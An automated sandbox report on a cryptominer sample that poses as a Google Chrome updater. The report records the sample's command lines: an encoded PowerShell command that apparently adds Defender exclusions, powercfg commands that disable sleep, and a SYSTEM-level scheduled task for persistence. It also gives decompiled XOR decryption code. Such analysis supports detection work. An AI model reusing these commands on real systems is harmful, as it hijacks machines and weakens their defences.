Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x401bea
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DEBUG_STRIPPED, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7dbd2319b33ed25eb7ad7d0162c2bb3a

Entrypoint Preview

Instruction
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 00000040h
dec eax
mov eax, 00000004h
add byte ptr [eax], al
add byte ptr [eax], al
dec ecx
mov eax, eax
mov eax, 00000000h
dec ecx
mov ebx, eax
dec eax
lea eax, dword ptr [ebp-04h]
dec ecx
mov edx, eax
dec esp
mov ecx, edx
dec esp
mov edx, ebx
call 00007F2804F90C01h
dec eax
lea eax, dword ptr [FFFFFF98h]
dec ecx
mov edx, eax
dec esp
mov ecx, edx
call 00007F2804F90C1Fh
mov eax, 00000001h
dec ecx
mov edx, eax
dec esp
mov ecx, edx
call 00007F2804F90C17h
mov eax, 00030000h
dec ecx
mov ebx, eax
mov eax, 00010000h
dec ecx
mov edx, eax
dec esp
mov ecx, edx
dec esp
mov edx, ebx
call 00007F2804F90C04h
dec eax
mov eax, dword ptr [001DAD1Ch]
dec eax
mov ecx, dword ptr [001DAD1Dh]
dec eax
mov edx, dword ptr [001DAD1Eh]
dec eax
mov dword ptr [ebp-10h], eax
dec eax
lea eax, dword ptr [ebp-04h]
dec eax
mov dword ptr [esp+20h], eax
mov eax, dword ptr [001DC327h]
dec ecx
mov ecx, eax
dec ecx
mov eax, edx
dec ecx
mov ebx, ecx
dec eax
mov eax, dword ptr [ebp-10h]
dec ecx
mov edx, eax
dec esp
mov ecx, edx
dec esp
mov edx, ebx
call 00007F2804F90BC9h
dec eax
mov eax, dword ptr [001DACD9h]
dec eax
mov ecx, dword ptr [001DACDAh]
dec eax
mov edx, dword ptr [001DACDBh]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1dc920	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1df000	0x630	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1de000	0x90	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1dc95c	0x90	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xdd0	0xe00	False	0.436941964286	data	5.41840784885	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x1dab6c	0x1dac00	False	0.999571628982	data	7.99988164686	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x1dd000	0xfac	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0x1de000	0x90	0x200	False	0.171875	data	1.18650676	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1df000	0x630	0x800	False	0.34228515625	data	3.77340234116	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x1df0a0	0x2f0	SysEx File - IDP	English	United States
RT_MANIFEST	0x1df390	0x29f	XML 1.0 document, ASCII text	English	United States

Imports

DLL	Import
msvcrt.dll	malloc, memset, _get_pgmptr, sprintf, __argc, __argv, _environ, _XcptFilter, __set_app_type, _controlfp, __getmainargs, exit
kernel32.dll	Sleep, GetWindowsDirectoryA, CreateProcessA, SetUnhandledExceptionFilter

Version Infos

Description	Data
LegalCopyright	Copyright 2017 Google Inc. All rights reserved.
FileVersion	70,0,3538,110
CompanyName	Google Inc.
ProductName	Google Chrome
ProductVersion	70,0,3538,110
FileDescription	Google Chrome
FileTitle	updater.exe
LegalTrademark
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 1338.exePID: 7044, Parent PID: 6064

General

Target ID:	0
Start time:	22:19:13
Start date:	24/05/2022
Path:	C:\Users\user\Desktop\1338.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\1338.exe"
Imagebase:	0x400000
File size:	1951744 bytes
MD5 hash:	AC711E6653707F0B1D245FF40D95385F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7056, Parent PID: 7044

General

Target ID:	1
Start time:	22:19:14
Start date:	24/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\conhost.exe" "C:\Users\user\Desktop\1338.exe
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 7124, Parent PID: 7056

General

Target ID:	2
Start time:	22:19:16
Start date:	24/05/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 7148, Parent PID: 7124

General

Target ID:	3
Start time:	22:19:16
Start date:	24/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6280, Parent PID: 7124

General

Target ID:	4
Start time:	22:19:17
Start date:	24/05/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"
Imagebase:	0x7ff619710000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 4992, Parent PID: 7056

General

Target ID:	9
Start time:	22:19:39
Start date:	24/05/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6500, Parent PID: 4992

General

Target ID:	10
Start time:	22:19:40
Start date:	24/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 4680, Parent PID: 4992

General

Target ID:	11
Start time:	22:19:41
Start date:	24/05/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff695530000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 6868, Parent PID: 4992

General

Target ID:	12
Start time:	22:19:41
Start date:	24/05/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff695530000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6832, Parent PID: 7056

General

Target ID:	13
Start time:	22:19:42
Start date:	24/05/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '^"C:\Program Files\Google\Chrome\updater.exe^"'
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 3392, Parent PID: 4992

General

Target ID:	14
Start time:	22:19:42
Start date:	24/05/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff695530000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3396, Parent PID: 6832

General

Target ID:	15
Start time:	22:19:42
Start date:	24/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 6448, Parent PID: 4992

General

Target ID:	16
Start time:	22:19:43
Start date:	24/05/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff695530000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 7000, Parent PID: 6832

General

Target ID:	17
Start time:	22:19:43
Start date:	24/05/2022
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr '"C:\Program Files\Google\Chrome\updater.exe"'
Imagebase:	0x7ff79c0d0000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 2508, Parent PID: 7056

General

Target ID:	19
Start time:	22:19:53
Start date:	24/05/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe" cmd /c schtasks /run /tn "GoogleUpdateTaskMachineQC
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 2812, Parent PID: 2508

General

Target ID:	21
Start time:	22:19:53
Start date:	24/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 6772, Parent PID: 2508

General

Target ID:	22
Start time:	22:19:54
Start date:	24/05/2022
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /run /tn "GoogleUpdateTaskMachineQC"
Imagebase:	0x7ff79c0d0000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: updater.exePID: 6800, Parent PID: 1040

General

Target ID:	23
Start time:	22:19:54
Start date:	24/05/2022
Path:	C:\Program Files\Google\Chrome\updater.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\updater.exe
Imagebase:	0x400000
File size:	1951744 bytes
MD5 hash:	AC711E6653707F0B1D245FF40D95385F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 68%, Virustotal, Browse Detection: 33%, Metadefender, Browse Detection: 73%, ReversingLabs

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6936, Parent PID: 6800

General

Target ID:	24
Start time:	22:19:56
Start date:	24/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000002.661999485.0000027E112A3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000018.00000002.655565529.0000027E1095A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 3552, Parent PID: 6936

General

Target ID:	25
Start time:	22:19:58
Start date:	24/05/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: conhost.exePID: 5952, Parent PID: 3552

General

Target ID:	26
Start time:	22:19:59
Start date:	24/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6476, Parent PID: 3552

General

Target ID:	27
Start time:	22:20:00
Start date:	24/05/2022
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -EncodedCommand "PAAjAG0AbwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHMAdQBuACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHAAdwBrAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBrAHkAdQAjAD4A"
Imagebase:	0x7ff619710000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: cmd.exePID: 2252, Parent PID: 6936

General

Target ID:	32
Start time:	22:20:43
Start date:	24/05/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff602050000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 4452, Parent PID: 2252

General

Target ID:	33
Start time:	22:20:43
Start date:	24/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 5800, Parent PID: 2252

General

Target ID:	34
Start time:	22:20:44
Start date:	24/05/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-ac 0
Imagebase:	0x7ff695530000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 6768, Parent PID: 2252

General

Target ID:	36
Start time:	22:20:45
Start date:	24/05/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -hibernate-timeout-dc 0
Imagebase:	0x7ff695530000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6712, Parent PID: 6936

General

Target ID:	37
Start time:	22:20:49
Start date:	24/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\conhost.exe
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 7100, Parent PID: 2252

General

Target ID:	38
Start time:	22:20:49
Start date:	24/05/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-ac 0
Imagebase:	0x7ff695530000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powercfg.exePID: 4556, Parent PID: 2252

General

Target ID:	39
Start time:	22:20:50
Start date:	24/05/2022
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	powercfg /x -standby-timeout-dc 0
Imagebase:	0x7ff695530000
File size:	94720 bytes
MD5 hash:	7C749DC22FCB1ED42A87AFA986B720F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6236, Parent PID: 6712

General

Target ID:	41
Start time:	22:20:52
Start date:	24/05/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\conhost.exe" "ossgiopsxz
Imagebase:	0x7ff77f440000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 1338.exePID: 7044, Parent PID: 6064COMMON

Execution Graph

Execution Coverage:	35.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	15
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004010C4 Relevance: 2.7, APIs: 2, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 31%

			E004010C4(void* __rax, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v32;
				char _v136;
				void* _v144;
				char _v152;
				char _v160;
				char _v680;
				void* _v1200;
				void* _v1208;
				char _v1468;
				long long _v1480;
				long long _v1496;
				long long _v1504;
				long long _v1512;
				long long _v1520;
				long long _v1528;
				long long _v1536;
				long long _v1544;
				long long _t97;
				long long _t107;

				_a8 = __rcx;
				_a16 = __rdx;
				L00401D70(); // executed
				memset(??, ??, ??);
				_v136 = 0x68;
				_v144 = 0;
				_v152 = 0x1da8d4;
				L00401D80();
				L00401D88();
				E00401000(0x402021,  &_v1468);
				_v1480 = 0x402021;
				E00401000(0x402027, 0x402021);
				L00401D90();
				E00401000(0x40203c,  &_v680);
				sprintf(??, ??);
				_v1504 =  &_v32;
				_v1512 =  &_v136;
				_v1520 = 0;
				_v1528 = 0;
				_v1536 = 0;
				_v1544 = 0;
				_t97 =  &_v680;
				L00401D98(); // executed
				_v1536 = _t97;
				_v1544 = _t97;
				E004019C6(_v32,  &_v144,  &_v152,  &_v152); // executed
				E00401000(0x402046, _v32); // executed
				_v1544 = 0;
				E00401986(_v32, _v144, 0x402046, 0x1da8d4); // executed
				_v1544 = 0;
				_t107 = _v32;
				E00401A06(_t107,  &_v144,  &_v152, 0); // executed
				_v1496 = _t107;
				_v1504 = 0;
				_v1512 = 0;
				_v1520 = 0;
				_v1528 = 0;
				_v1536 = 0;
				_v1544 = _v144;
				E00401946( &_v160, _v32, _v32, _v32); // executed
				return 0;
			}

0x004010cf
0x004010d3
0x004010e2
0x00401109
0x00401113
0x00401120
0x00401131
0x00401145
0x00401162
0x0040117f
0x00401196
0x004011a3
0x004011cf
0x004011ec
0x00401218
0x00401221
0x0040122a
0x00401239
0x00401248
0x00401252
0x0040125c
0x00401285
0x00401295
0x0040129f
0x004012a9
0x004012d7
0x004012f4
0x00401303
0x0040132f
0x0040133e
0x0040135f
0x0040136c
0x00401376
0x00401385
0x00401394
0x004013a3
0x004013ad
0x004013bc
0x004013c8
0x004013f4
0x004013ff

APIs

memset.MSVCRT ref: 00401109
sprintf.MSVCRT ref: 00401218

Memory Dump Source

Source File: 00000000.00000002.438450061.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.438445677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.438454384.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439170445.00000000005DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439175059.00000000005DF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1338.jbxd

Similarity

API ID: memsetsprintf
String ID:
API String ID: 4041149307-0
Opcode ID: e611b780aaad0328af827d15d6967dd52fecb4441940ae0d59f41fbf170dceba
Instruction ID: d777382ce3b882984ebda8a8f82619b91bafcb5650684c5f5f4a19068a753fff
Opcode Fuzzy Hash: e611b780aaad0328af827d15d6967dd52fecb4441940ae0d59f41fbf170dceba
Instruction Fuzzy Hash: 53612C61702B504DEB508B27DC513DA76A8F749BC8F404176EE8CABB99EE3DCA44C784

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 1.3, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00401000(long long __rcx, long long __rdx, long long _a8, long long _a16) {
				long long _v16;
				signed int _v20;
				void* _v32;
				signed char* _v40;
				signed int _t30;

				_a8 = __rcx;
				_a16 = __rdx;
				L00401D68(); // executed
				_v16 = _a16 + 1;
				 *((char*)(_v16 + _a16)) = 0;
				_v20 = 0;
				while(1) {
					_t30 = _v20;
					if(_t30 >= _a16) {
						break;
					}
					_v32 = _v16 + _v20;
					_v40 = _a8 + _v20;
					asm("cdq");
					 *_v32 =  *_v40 ^  *("jfudwgjnolydsljwixclrghiuanoznnv" + _v20 % 0x20);
					_v20 = _v20 + 1;
				}
				return _t30;
			}

0x0040100b
0x0040100f
0x00401023
0x00401028
0x0040103e
0x00401045
0x00401048
0x00401048
0x00401050
0x00000000
0x00000000
0x00401085
0x0040108e
0x00401092
0x004010b2
0x00401063
0x00401063
0x004010bb

Strings

jfudwgjnolydsljwixclrghiuanoznnv, xrefs: 00401098

Memory Dump Source

Source File: 00000000.00000002.438450061.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.438445677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.438454384.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439170445.00000000005DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439175059.00000000005DF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1338.jbxd

Similarity

API ID:
String ID: jfudwgjnolydsljwixclrghiuanoznnv
API String ID: 0-2735995127
Opcode ID: 3395ddf03860ef85004415cfca38eec28906a0d9652ac0a9f3f7e601f17034a2
Instruction ID: e6fa5f20bfb036de9c56582362ae24f4d7d7e378f06df6b5650d7690213a9475
Opcode Fuzzy Hash: 3395ddf03860ef85004415cfca38eec28906a0d9652ac0a9f3f7e601f17034a2
Instruction Fuzzy Hash: D5214772B01A40DEEB04CBA9D8913AC3BF1EB4878DF00846AEE1DA7B58DA38D5518744

Uniqueness

Uniqueness Score: -1.00%

